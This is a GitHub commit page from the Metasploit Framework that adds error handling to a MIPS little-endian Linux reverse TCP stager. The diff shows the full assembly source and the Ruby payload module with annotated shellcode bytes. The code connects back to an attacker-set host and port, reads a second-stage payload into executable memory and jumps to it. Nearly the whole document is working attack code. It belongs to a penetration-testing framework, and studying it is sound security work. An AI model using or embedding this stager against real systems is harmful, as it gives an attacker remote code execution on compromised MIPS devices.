Skip to content

Commit db8698e

Browse files
timwrtimwr
committed
Land rapid7#8655, add error handling to mipsle linux reverse tcp stager
2 parents 9e56dc5 + b9f5ebc commit db8698e

File tree

2 files changed

+187
-116
lines changed

2 files changed

+187
-116
lines changed

‎external/source/shellcode/linux/mipsle/stager_sock_reverse.s

Lines changed: 114 additions & 96 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
##
2-
#
2+
#
33
# Name: stager_sock_reverse
44
# Type: Stager
55
# Qualities: No Nulls out of the IP / Port data
66
# Platforms: Linux MIPS Little Endian
7-
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
8-
# License:
7+
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>, tkmru
8+
# License:
99
#
1010
# This file is part of the Metasploit Exploit Framework
1111
# and is subject to the same licenses and copyrights as
@@ -27,101 +27,119 @@
2727
# generate the string to place on:
2828
# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
2929
##
30-
.text
31-
.align 2
32-
.globl main
33-
.set nomips16
30+
.text
31+
.align 2
32+
.globl main
33+
.set nomips16
3434
main:
35-
.set noreorder
36-
.set nomacro
35+
.set noreorder
36+
.set nomacro
37+
38+
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
39+
# a0: domain = PF_INET (2)
40+
# a1: type = SOCK_STREAM (2)
41+
# a2: protocol = IPPROTO_IP (0)
42+
# v0: syscall = __NR_socket (4183)
43+
li $t7, -6
44+
nor $t7, $t7, $zero
45+
addi $a0, $t7, -3
46+
addi $a1, $t7, -3
47+
slti $a2, $zero, -1
48+
li $v0, 4183
49+
syscall 0x40404
50+
slt $s0, $zero, $a3
51+
bne $s0, $zero, failed
52+
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
53+
54+
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
55+
# a0: sockfd
56+
# a1: addr = AF_INET (2)
57+
# a2: addrlen = 16
58+
# v0: syscall = __NR_connect (4170)
59+
lw $a0, -4($sp)
60+
li $t7, -3
61+
nor $t7, $t7, $zero
62+
sw $t7, -30($sp)
63+
ori $t6, $zero, 0x5c11 # port
64+
sw $t6, -28($sp)
65+
lui $t6, 0x100 # ip
66+
ori $t6, $t6, 0x7f # ip
67+
sw $t6, -26($sp)
68+
addiu $a1, $sp, -30
69+
li $t4, -17
70+
nor $a2, $t4, $zero
71+
li $v0, 4170
72+
syscall 0x40404
73+
slt $s0, $zero, $a3
74+
bne $s0, $zero, failed
75+
76+
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
77+
# a0: addr = -1
78+
# a1: lenght = 4096
79+
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
80+
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
81+
# sp(16): fd = -1
82+
# sp(20): offset = 0
83+
# v0: syscall = __NR_mmap (4090)
84+
li $a0, -1
85+
li $a1, 4097
86+
addi $a1, $a1, -1
87+
li $t1, -8
88+
nor $t1, $t1, $0
89+
add $a2, $t1, $0
90+
li $a3, 2050
91+
li $t3, -22
92+
nor $t3, $t3, $zero
93+
add $t3, $sp, $t3
94+
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
95+
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
96+
li $v0, 4090
97+
syscall 0x40404
98+
slt $s0, $zero, $a3
99+
bne $s0, $zero, failed
100+
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
101+
102+
# read(sockfd, addr, 4096)
103+
# a0: sockfd
104+
# a1: addr
105+
# a2: len = 4096
106+
# v0: syscall = __NR_read (4003)
107+
lw $a0, -4($sp)
108+
lw $a1, -8($sp)
109+
li $a2, 4097
110+
addi $a2, $a2, -1
111+
li $v0, 4003
112+
syscall 0x40404
113+
slt $s0, $zero, $a3
114+
bne $s0, $zero, failed
37115

38-
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
39-
# a0: domain = PF_INET (2)
40-
# a1: type = SOCK_STREAM (2)
41-
# a2: protocol = IPPROTO_IP (0)
42-
# v0: syscall = __NR_socket (4183)
43-
li $t7, -6
44-
nor $t7, $t7, $zero
45-
addi $a0, $t7, -3
46-
addi $a1, $t7, -3
47-
slti $a2, $zero, -1
48-
li $v0, 4183
49-
syscall 0x40404
50-
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
51-
52-
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
53-
# a0: sockfd
54-
# a1: addr = AF_INET (2)
55-
# a2: addrlen = 16
56-
# v0: syscall = __NR_connect (4170)
57-
lw $a0, -4($sp)
58-
li $t7, -3
59-
nor $t7, $t7, $zero
60-
sw $t7, -30($sp)
61-
ori $t6, $zero, 0x5c11 # port
62-
sw $t6, -28($sp)
63-
lui $t6, 0x100 # ip
64-
ori $t6, $t6, 0x7f # ip
65-
sw $t6, -26($sp)
66-
addiu $a1, $sp, -30
67-
li $t4, -17
68-
nor $a2, $t4, $zero
69-
li $v0, 4170
70-
syscall 0x40404
71-
72-
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
73-
# a0: addr = -1
74-
# a1: lenght = 4096
75-
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
76-
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
77-
# sp(16): fd = -1
78-
# sp(20): offset = 0
79-
# v0: syscall = __NR_mmap (4090)
80-
li $a0, -1
81-
li $a1, 4097
82-
addi $a1, $a1, -1
83-
li $t1, -8
84-
nor $t1, $t1, $0
85-
add $a2, $t1, $0
86-
li $a3, 2050
87-
li $t3, -22
88-
nor $t3, $t3, $zero
89-
add $t3, $sp, $t3
90-
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
91-
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
92-
li $v0, 4090
93-
syscall 0x40404
94-
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
116+
# cacheflush(addr, nbytes, DCACHE)
117+
# a0: addr
118+
# a1: nbytes
119+
# a2: cache = DCACHE (2)
120+
# v0: syscall = __NR_read (4147)
121+
lw $a0, -8($sp)
122+
add $a1, $v0, $zero
123+
li $t1, -3
124+
nor $t1, $t1, $0
125+
add $a2, $t1, $0
126+
li $v0, 4147
127+
syscall 0x40404
128+
slt $s0, $zero, $a3
129+
bne $s0, $zero, failed
95130

96-
# read(sockfd, addr, 4096)
97-
# a0: sockfd
98-
# a1: addr
99-
# a2: len = 4096
100-
# v0: syscall = __NR_read (4003)
101-
lw $a0, -4($sp)
102-
lw $a1, -8($sp)
103-
li $a2, 4097
104-
addi $a2, $a2, -1
105-
li $v0, 4003
106-
syscall 0x40404
131+
# jmp to the stage
132+
lw $s1, -8($sp)
133+
lw $s2, -4($sp) # sockfd saved on $s2
134+
jalr $s1
107135

108-
# cacheflush(addr, nbytes, DCACHE)
109-
# a0: addr
110-
# a1: nbytes
111-
# a2: cache = DCACHE (2)
112-
# v0: syscall = __NR_read (4147)
113-
lw $a0, -8($sp)
114-
add $a1, $v0, $zero
115-
li $t1, -3
116-
nor $t1, $t1, $0
117-
add $a2, $t1, $0
118-
li $v0, 4147
119-
syscall 0x40404
120-
121-
# jmp to the stage
122-
lw $s1, -8($sp)
123-
lw $s2, -4($sp) # sockfd saved on $s2
124-
jalr $s1
136+
failed:
137+
# exit(status)
138+
# a0: status
139+
# v0: syscall = __NR_exit (4001)
140+
li $a0, 1
141+
li $v0, 4001
142+
syscall 0x40404
125143

126-
.set macro
127-
.set reorder
144+
.set macro
145+
.set reorder

‎modules/payloads/stagers/linux/mipsle/reverse_tcp.rb

Lines changed: 73 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = 212
12+
CachedSize = 272
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Linux
@@ -20,7 +20,8 @@ def initialize(info = {})
2020
'Description' => 'Connect back to the attacker',
2121
'Author' =>
2222
[
23-
'juan vazquez'
23+
'juan vazquez',
24+
'tkmru'
2425
],
2526
'License' => MSF_LICENSE,
2627
'Platform' => 'linux',
@@ -30,26 +31,78 @@ def initialize(info = {})
3031
{
3132
'Offsets' =>
3233
{
33-
'LHOST' => [ [60, 56], 'ADDR16MSB' ],
34-
'LPORT' => [ 48, 'n' ],
34+
'LHOST' => [ [68, 64], 'ADDR16MSB' ],
35+
'LPORT' => [ 56, 'n' ],
3536
},
3637
'Payload' =>
37-
"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd\xff" +
38-
"\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01" +
39-
"\xfc\xff\xa2\xaf\xfc\xff\xa4\x8f\xfd\xff\x0f\x24\x27\x78" +
40-
"\xe0\x01\xe2\xff\xaf\xaf\x11\x5c\x0e\x34\xe4\xff\xae\xaf" +
41-
"\x00\x01\x0e\x3c\x7f\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff" +
42-
"\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" +
43-
"\x0c\x01\x01\x01\xff\xff\x04\x24\x01\x10\x05\x24\xff\xff" +
44-
"\xa5\x20\xf8\xff\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01" +
45-
"\x02\x08\x07\x24\xea\xff\x0b\x24\x27\x58\x60\x01\x20\x58" +
46-
"\xab\x03\xff\xff\x60\xad\xfb\xff\x62\xad\xfa\x0f\x02\x24" +
47-
"\x0c\x01\x01\x01\xf8\xff\xa2\xaf\xfc\xff\xa4\x8f\xf8\xff" +
48-
"\xa5\x8f\x01\x10\x06\x24\xff\xff\xc6\x20\xa3\x0f\x02\x24" +
49-
"\x0c\x01\x01\x01\xf8\xff\xa4\x8f\x20\x28\x40\x00\xfd\xff" +
50-
"\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01\x33\x10\x02\x24" +
51-
"\x0c\x01\x01\x01\xf8\xff\xb1\x8f\xfc\xff\xb2\x8f\x09\xf8" +
52-
"\x20\x02"
38+
"\xfa\xff\x0f\x24" + # li t7,-6
39+
"\x27\x78\xe0\x01" + # nor t7,t7,zero
40+
"\xfd\xff\xe4\x21" + # addi a0,t7,-3
41+
"\xfd\xff\xe5\x21" + # addi a1,t7,-3
42+
"\xff\xff\x06\x28" + # slti a2,zero,-1
43+
"\x57\x10\x02\x24" + # li v0,4183
44+
"\x0c\x01\x01\x01" + # syscall 0x40404
45+
"\x2a\x80\x07\x00" + # slt s0,zero,a3
46+
"\x36\x00\x00\x16" + # bnez s0,0x4006bc <failed>
47+
"\xfc\xff\xa2\xaf" + # sw v0,-4(sp)
48+
"\xfc\xff\xa4\x8f" + # lw a0,-4(sp)
49+
"\xfd\xff\x0f\x24" + # li t7,-3
50+
"\x27\x78\xe0\x01" + # nor t7,t7,zero
51+
"\xe2\xff\xaf\xaf" + # sw t7,-30(sp)
52+
"\x11\x5c\x0e\x34" + # li t6,0x5c11
53+
"\xe4\xff\xae\xaf" + # sw t6,-28(sp)
54+
"\x00\x01\x0e\x3c" + # lui t6,0x100
55+
"\x7f\x00\xce\x35" + # ori t6,t6,0x7f
56+
"\xe6\xff\xae\xaf" + # sw t6,-26(sp)
57+
"\xe2\xff\xa5\x27" + # addiu a1,sp,-30
58+
"\xef\xff\x0c\x24" + # li t4,-17
59+
"\x27\x30\x80\x01" + # nor a2,t4,zero
60+
"\x4a\x10\x02\x24" + # li v0,4170
61+
"\x0c\x01\x01\x01" + # syscall 0x40404
62+
"\x2a\x80\x07\x00" + # slt s0,zero,a3
63+
"\x25\x00\x00\x16" + # bnez s0,0x4006bc <failed>
64+
"\xff\xff\x04\x24" + # li a0,-1
65+
"\x01\x10\x05\x24" + # li a1,4097
66+
"\xff\xff\xa5\x20" + # addi a1,a1,-1
67+
"\xf8\xff\x09\x24" + # li t1,-8
68+
"\x27\x48\x20\x01" + # nor t1,t1,zero
69+
"\x20\x30\x20\x01" + # add a2,t1,zero
70+
"\x02\x08\x07\x24" + # li a3,2050
71+
"\xea\xff\x0b\x24" + # li t3,-22
72+
"\x27\x58\x60\x01" + # nor t3,t3,zero
73+
"\x20\x58\xab\x03" + # add t3,sp,t3
74+
"\xff\xff\x60\xad" + # sw zero,-1(t3)
75+
"\xfb\xff\x62\xad" + # sw v0,-5(t3)
76+
"\xfa\x0f\x02\x24" + # li v0,4090
77+
"\x0c\x01\x01\x01" + # syscall 0x40404
78+
"\x2a\x80\x07\x00" + # slt s0,zero,a3
79+
"\x15\x00\x00\x16" + # bnez s0,0x4006bc <failed>
80+
"\xf8\xff\xa2\xaf" + # sw v0,-8(sp)
81+
"\xfc\xff\xa4\x8f" + # lw a0,-4(sp)
82+
"\xf8\xff\xa5\x8f" + # lw a1,-8(sp)
83+
"\x01\x10\x06\x24" + # li a2,4097
84+
"\xff\xff\xc6\x20" + # addi a2,a2,-1
85+
"\xa3\x0f\x02\x24" + # li v0,4003
86+
"\x0c\x01\x01\x01" + # syscall 0x40404
87+
"\x2a\x80\x07\x00" + # slt s0,zero,a3
88+
"\x0c\x00\x00\x16" + # bnez s0,0x4006bc <failed>
89+
"\xf8\xff\xa4\x8f" + # lw a0,-8(sp)
90+
"\x20\x28\x40\x00" + # add a1,v0,zero
91+
"\xfd\xff\x09\x24" + # li t1,-3
92+
"\x27\x48\x20\x01" + # nor t1,t1,zero
93+
"\x20\x30\x20\x01" + # add a2,t1,zero
94+
"\x33\x10\x02\x24" + # li v0,4147
95+
"\x0c\x01\x01\x01" + # syscall 0x40404
96+
"\x2a\x80\x07\x00" + # slt s0,zero,a3
97+
"\x03\x00\x00\x16" + # bnez s0,0x4006bc <failed>
98+
"\xf8\xff\xb1\x8f" + # lw s1,-8(sp)
99+
"\xfc\xff\xb2\x8f" + # lw s2,-4(sp)
100+
"\x09\xf8\x20\x02" + # jalr s1
101+
"\x01\x00\x04\x24" + # li a0,1
102+
"\xa1\x0f\x02\x24" + # li v0,4001
103+
"\x0c\x01\x01\x01" + # syscall 0x40404
104+
"\x25\x08\x20\x00" + # move at,at
105+
"\x25\x08\x20\x00" # move at,at
53106
}
54107
))
55108
end

0 commit comments

Comments
 (0)